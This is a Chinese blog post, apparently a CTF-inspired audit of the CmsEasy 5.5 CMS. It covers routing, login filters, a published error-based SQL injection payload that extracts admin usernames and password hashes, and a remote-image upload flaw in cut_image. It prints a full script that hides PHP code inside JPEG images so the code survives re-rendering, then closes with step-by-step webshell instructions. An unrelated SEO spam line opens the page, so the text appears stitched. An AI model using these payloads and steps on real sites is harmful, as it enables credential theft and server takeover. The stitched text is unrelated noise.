網(wǎng)站推廣外包百度推廣怎么才能效果好
前言
這個(gè)awd打的悲,后臺(tái)默認(rèn)用戶名密碼為admin:admin
,但是幾乎所有人都改了
而且一進(jìn)去看到這個(gè)cms就有點(diǎn)懵逼,都不知道這個(gè)cms是干嘛的(沒(méi)用過(guò)相似的cms)
雖然網(wǎng)上找出了很多相關(guān)的漏洞,但是不知道為什么一個(gè)都沒(méi)用上,或者說(shuō)是用不了
所以現(xiàn)在來(lái)審計(jì)一下這個(gè)cms
根據(jù)里面的注釋我得出是 v5.5 的版本(雖然不知道有沒(méi)有經(jīng)過(guò)bugku的魔改)
不過(guò)上面說(shuō)的版權(quán)倒是給我整不會(huì)了,有沒(méi)有專(zhuān)業(yè)人士說(shuō)說(shuō)我這個(gè)研究算不算破解,反正網(wǎng)上挺多的
而且bugku也對(duì)其進(jìn)行過(guò)修改(awd的時(shí)候index.php加了個(gè)后門(mén))
路由分析
我進(jìn)入后臺(tái)admin的時(shí)候會(huì)自動(dòng)跳轉(zhuǎn)到 index.php?case=admin&act=login&admin_dir=admin&site=default
據(jù)我的經(jīng)驗(yàn),這里用的是參數(shù)作為路由
case=admin # 指定類(lèi)
act=login # 指定類(lèi)方法
admin_dir=admin
site=default
一切都是由 lib\tool\front_class.php
中的 front
作為引導(dǎo)
index.php
進(jìn)入該類(lèi),找到dispatch函數(shù)
method_exists 是 PHP 中的一個(gè)內(nèi)置函數(shù),用于檢查一個(gè)類(lèi)是否包含某個(gè)指定的方法(成員函數(shù))。
也就是說(shuō) $case
指定類(lèi), $method
指定該類(lèi)的方法
case: admin_act
method: login_action
而這兩個(gè)值都由請(qǐng)求參數(shù) case 和 act
決定
但是這個(gè)類(lèi)的路徑在何處呢,我們繼續(xù)追蹤
在 method_exists 的上面,case已經(jīng)被new過(guò)了,當(dāng)new的時(shí)候找不到類(lèi)時(shí),就觸發(fā)了 __autoload
方法
最后類(lèi)的路徑是 lib/admin/admin_act.php
為什么會(huì)找到這個(gè)地方的類(lèi),
set_include_path 可以設(shè)置文件包含時(shí)的路徑,這里設(shè)置了 /lib/admin
,而該方法在 front
的初始化函數(shù)就被執(zhí)行過(guò)了
被設(shè)置的路徑在index.php 中也被設(shè)置過(guò)
set_include_path(ROOT.'/lib/default'.PATH_SEPARATOR.ROOT.'/lib/plugins'.PATH_SEPARATOR.ROOT.'/lib/tool'.PATH_SEPARATOR.ROOT.'/lib/table'.PATH_SEPARATOR.ROOT.'/lib/inc');
也就是參數(shù)路由的執(zhí)行函數(shù)都在 lib 文件夾中找
后臺(tái)登錄分析
既然知道了路由規(guī)則,那么現(xiàn)在看看是否能通過(guò)注入到達(dá)后端
首先通過(guò)審計(jì)代碼我們知道一共有三處過(guò)濾,第一個(gè)是new front的時(shí)候 __construct中的過(guò)濾
index.php
lib\tool\front_class.php
這里直接對(duì)所有GET參數(shù)的username過(guò)濾了單雙引號(hào)導(dǎo)致最后的sql語(yǔ)句無(wú)法被閉合,現(xiàn)在我還是沒(méi)想到怎么繞過(guò)這里,
第一個(gè)也是 front中 __construct中的過(guò)濾
這里先判斷php是否會(huì)自動(dòng)轉(zhuǎn)義引號(hào),這里我有必要解釋一下
get_magic_quotes_gpc 是一個(gè) PHP 函數(shù),它在舊版本的 PHP(PHP 5.4 之前)中可用。它用于檢查 PHP 配置中是否啟用了"魔術(shù)引號(hào)"(Magic Quotes)功能。魔術(shù)引號(hào)是 PHP 中引入的一個(gè)功能,用于自動(dòng)轉(zhuǎn)義傳入數(shù)據(jù)中的字符(例如,來(lái)自表單提交或外部來(lái)源的數(shù)據(jù)),以幫助防止 SQL 注入和其他安全漏洞。
如果啟用了魔術(shù)引號(hào)(get_magic_quotes_gpc() 返回 1 或 true),PHP 會(huì)自動(dòng)在
$_GET、$_POST、$_COOKIE
和 $_REQUEST 數(shù)組中的傳入數(shù)據(jù)添加轉(zhuǎn)義斜杠(\)。這種轉(zhuǎn)義是為了使數(shù)據(jù)在 SQL 查詢中使用時(shí)更安全。
如果禁用了魔術(shù)引號(hào)(get_magic_quotes_gpc() 返回 0 或 false),PHP 不會(huì)自動(dòng)添加轉(zhuǎn)義斜杠
然而,魔術(shù)引號(hào)存在許多問(wèn)題,本函數(shù)已自 PHP 7.4.0 起棄用,自 PHP 8.0.0 起移除
回到正題,從上面的代碼看出,上面的代碼對(duì)所有請(qǐng)求的參數(shù)都進(jìn)行了引號(hào)轉(zhuǎn)義導(dǎo)致注入困難
第三處過(guò)濾
在該路由中獲取數(shù)據(jù)處,根據(jù)前面的規(guī)則,找打該路由
lib\admin\admin_act.php
$user=$user->getrow(array('username'=>front::post('username'),'password'=>md5(front::post('password'))));
這里傳遞的是一個(gè)有鍵值的字典
一直跟進(jìn)
lib\inc\table.php
key進(jìn)行了html實(shí)體的轉(zhuǎn)義
對(duì)key和value都進(jìn)行了關(guān)鍵字過(guò)濾
從這三處過(guò)濾,我覺(jué)得過(guò)濾字符串我還是沒(méi)啥頭緒,急需指點(diǎn)
celive sql注入
我在一篇文章中找到了sql注入的點(diǎn)
https://vulners.com/seebug/SSV:94004
但是我在里面并沒(méi)有注入成功,所以我研究起了代碼
文章給出的exp是這樣的
鏈接:
http://localhost/CmsEasy_5.5_UTF-8_20140718/celive/live/header.php
POST:
xajax=LiveMessage&xajaxargs[0][name]=1',(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select concat(username,0x23,password) from cmseasy_user where groupid=2 limit 1))a from information_schema.tables group by a)b),'','','','1','127.0.0.1','2')#
文章說(shuō)沒(méi)有過(guò)濾,但是我在調(diào)試時(shí)發(fā)現(xiàn)引號(hào)被 addslashes 過(guò)濾
體現(xiàn)在 celive\include\common.inc.php
中
文章第一個(gè)漏洞處體現(xiàn)在 celive\include\xajax.inc.php
文件上傳漏洞
分析
這是在一篇文章看到的
https://www.cnblogs.com/yx20145312/p/7020516.html
起初按照他的做法,確實(shí)可以上傳文件,而且后綴也是php
但是…
最終也是執(zhí)行失敗了,而且根本找不到圖片中我設(shè)定的 "馬"
最后通過(guò)我仔細(xì)的源碼審計(jì)我發(fā)現(xiàn)…
這里作者將分割符 &
都打成兩個(gè)不一樣的字符,復(fù)制上去能用才有鬼
而且參數(shù)是根據(jù)自己的遠(yuǎn)程圖片的信息來(lái)定的,而就是說(shuō)這些參數(shù)都是變量,都是根據(jù)圖片自身來(lái)設(shè)定,不能完全照抄
所以我們重新來(lái)審計(jì)一下全過(guò)程
漏洞點(diǎn)在 index.php?case=tool&act=cut_image
而根據(jù)路由規(guī)則, 這個(gè)文件在 tool_act.php 中tool_act
類(lèi)的 cut_image_action
方法
此漏洞利用需要布置一個(gè)ftp服務(wù)器,并且需要可以匿名登錄,在匿名用戶的目錄放置一個(gè)圖片馬
在window搭建你可以參考這篇文章https://www.cnblogs.com/yx20145312/p/7020516.html
也可以在網(wǎng)上尋找答案
先說(shuō)一個(gè)這個(gè)api是干嘛的,這樣才能更好理解漏洞的成因
通過(guò)代碼的分析,發(fā)現(xiàn)其是一個(gè)裁剪圖片的功能, 至于作者設(shè)計(jì)時(shí)是不是開(kāi)放遠(yuǎn)程還是只針對(duì)本地圖片我們就不得而知了
POST : index.php?case=tool&act=cut_imagepic=test.png
w=2 # 輸出圖像的寬
h=2 # 輸出圖像的高
x1=0 # 輸入圖像的 x 軸
y1=0 # 輸入圖像的 y 軸
x2=700 # 輸入圖像的另一個(gè) x 軸
y2=1120 # 輸入圖像的另一個(gè) y 軸
簡(jiǎn)單來(lái)說(shuō), x1,y1,x2,y2
決定了源圖像的大小和位置,而 pic 是我們輸入的圖片
這里給出一次請(qǐng)求
源圖片是這樣的
而裁剪后是這樣的
也就是說(shuō)
w=100
h=100
x1=0
y1=0
x2=300
y2=300
將一個(gè)300 * 300 的圖像(x1,y2,x2,y3
指定),放入了100 * 100 的盒子里(w,h
指定),結(jié)果就是等比例縮小了
那么現(xiàn)在看源碼
如果base_url設(shè)置空(默認(rèn)設(shè)置為空),那么len變量值就為 1
下面會(huì)判斷 pic 參數(shù)是否為http,如果不是,就去掉開(kāi)頭為len長(zhǎng)度的變量
比如 len如果為3 pic=123ftp://127.0.0.1
最后就會(huì)變成 pic=ftp://127.0.0.1
此時(shí)我們的len為1那么只需要在前面填上一個(gè)垃圾數(shù)據(jù)即可
pic=1ftp://127.0.0.1
$thumb->set(front::$post['thumb'],'jpg');
這里獲取文件的一些信息
$img=$thumb->create_image($thumb->im,$_POST['w'],$_POST['h'],0,0,$_POST['x1'],$_POST['y1'],$_POST['x2'] -$_POST['x1'],$_POST['y2'] -$_POST['y1']);
這里對(duì)圖像繼續(xù)裁剪返回一個(gè)裁剪后的圖像
這里最終調(diào)用的函數(shù)其實(shí)是這個(gè),你跟進(jìn)也是能看到的,我的是排版了的
file_put_contents(ROOT.'/'.$save_file,ob_get_contents());
這里對(duì)輸出裁剪后的圖像進(jìn)行保存
困惑
原本我以為到這已經(jīng)結(jié)束了,沒(méi)想到真正的后頭戲現(xiàn)在才開(kāi)始
我發(fā)現(xiàn)上傳上去的圖片馬都被二次渲染了,原本的一句話早已經(jīng)不見(jiàn)了蹤影
原本的想法是先上傳一張,然后對(duì)比裁剪后的看哪里相同,結(jié)果發(fā)現(xiàn),根本沒(méi)用…
直覺(jué)告訴我,問(wèn)題就出在 ImageCopyResampled
函數(shù)上
于是上網(wǎng)找到了方法
突破php 的imagecopyresampled 和imagecopyresized 實(shí)現(xiàn)圖片馬 JPG
但是…
這個(gè)腳本告訴我,他失敗了
于是, 我再次遨游于網(wǎng)絡(luò)的海洋
功夫不負(fù)有心人!上文章
CmsEasy前臺(tái)無(wú)限制GetShell【Getshell的補(bǔ)充說(shuō)明】
博客上說(shuō),傳遞圖片的時(shí)候不能帶路徑,也就是說(shuō)必須于腳本同一個(gè)目錄才能生效
這里說(shuō)下如何使用腳本
腳本
<?php/*The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformationscaused by PHP functions imagecopyresized() and imagecopyresampled().It is necessary that the size and quality of the initial image are the same as those of the processedimage.1) Upload an arbitrary image via secured files upload script2) Save the processed image and launch:php jpg_payload.php <jpg_name.jpg>In case of successful injection you will get a specially crafted image, which should be uploaded again.Since the most straightforward injection method is used, the following problems can occur:1) After the second processing the injected data may become partially corrupted.2) The jpg_payload.php script outputs "Something's wrong".If this happens, try to change the payload (e.g. add some symbols at the beginning) or try anotherinitial image.Sergey Bobrov @Black2Fan.See also:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/*/$miniPayload = '<?php phpinfo();?>'; # 這里寫(xiě)入一句話if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {die('php-gd is not installed');}print_r($argv);// exit;if(!isset($argv[1])) {die('php jpg_payload.php <jpg_name.jpg>');}set_error_handler("custom_error_handler");for($pad = 0; $pad < 1024; $pad++) {$nullbytePayloadSize = $pad;$dis = new DataInputStream($argv[1]);$outStream = file_get_contents($argv[1]);$extraBytes = 0;$correctImage = TRUE;if($dis->readShort() != 0xFFD8) {die('Incorrect SOI marker');}while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {$marker = $dis->readByte();$size = $dis->readShort() - 2;$dis->skip($size);if($marker === 0xDA) {$startPos = $dis->seek();$outStreamTmp =substr($outStream, 0, $startPos) .$miniPayload .str_repeat("\0",$nullbytePayloadSize) .substr($outStream, $startPos);checkImage('_'.$argv[1], $outStreamTmp, TRUE);if($extraBytes !== 0) {while((!$dis->eof())) {if($dis->readByte() === 0xFF) {if($dis->readByte !== 0x00) {break;}}}$stopPos = $dis->seek() - 2;$imageStreamSize = $stopPos - $startPos;$outStream =substr($outStream, 0, $startPos) .$miniPayload .substr(str_repeat("\0",$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize+$imageStreamSize-$extraBytes) .substr($outStream, $stopPos);} elseif($correctImage) {$outStream = $outStreamTmp;} else {break;}if(checkImage('payload_'.$argv[1], $outStream)) {die('Success!');} else {break;}}}}unlink('payload_'.$argv[1]);die('Something\'s wrong');function checkImage($filename, $data, $unlink = FALSE) {global $correctImage;file_put_contents($filename, $data);$correctImage = TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return $correctImage;}function custom_error_handler($errno, $errstr, $errfile, $errline) {global $extraBytes, $correctImage;$correctImage = FALSE;if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {if(isset($m[1])) {$extraBytes = (int)$m[1];}}}class DataInputStream {private $binData;private $order;private $size;public function __construct($filename, $order = false, $fromString = false) {$this->binData = '';$this->order = $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die('File not exists ['.$filename.']');$this->binData = file_get_contents($filename);} else {$this->binData = $filename;}$this->size = strlen($this->binData);}public function seek() {return ($this->size - strlen($this->binData));}public function skip($skip) {$this->binData = substr($this->binData, $skip);}public function readByte() {if($this->eof()) {die('End Of File');}$byte = substr($this->binData, 0, 1);$this->binData = substr($this->binData, 1);return ord($byte);}public function readShort() {if(strlen($this->binData) < 2) {die('End Of File');}$short = substr($this->binData, 0, 2);$this->binData = substr($this->binData, 2);if($this->order) {$short = (ord($short[1]) << 8) + ord($short[0]);} else {$short = (ord($short[0]) << 8) + ord($short[1]);}return $short;}public function eof() {return !$this->binData||(strlen($this->binData) === 0);}}
?>
需要先上傳圖片 (需要jpg圖片,這里我改了后綴,其實(shí)改不改都可以,最后要給腳本傳遞jpg的圖片)
然后把上傳上去的圖片下載下來(lái)作為腳本的參數(shù)
然后將圖片放在與腳本同一目錄下
php payload.php 1694764156416.jpg
然后會(huì)在目錄下生成一張圖片馬
在把這個(gè)圖片馬上傳上去 (我的其他參數(shù)沒(méi)動(dòng))
訪問(wèn)下圖片馬
別的不說(shuō),NB
exp
這里總結(jié)一下大概步驟
先準(zhǔn)備一張 jpg 類(lèi)型的圖片,然后上傳到cmseasy,然后下載下來(lái)那張上傳后的圖片(此時(shí)這張圖片不是原來(lái)那張了,而是經(jīng)過(guò)了二次渲染)
將圖片給腳本執(zhí)行(需要與腳本同一目錄
),payload執(zhí)行的語(yǔ)句可以在腳本中修改
將腳本生成的圖片再上傳上去,訪問(wèn)執(zhí)行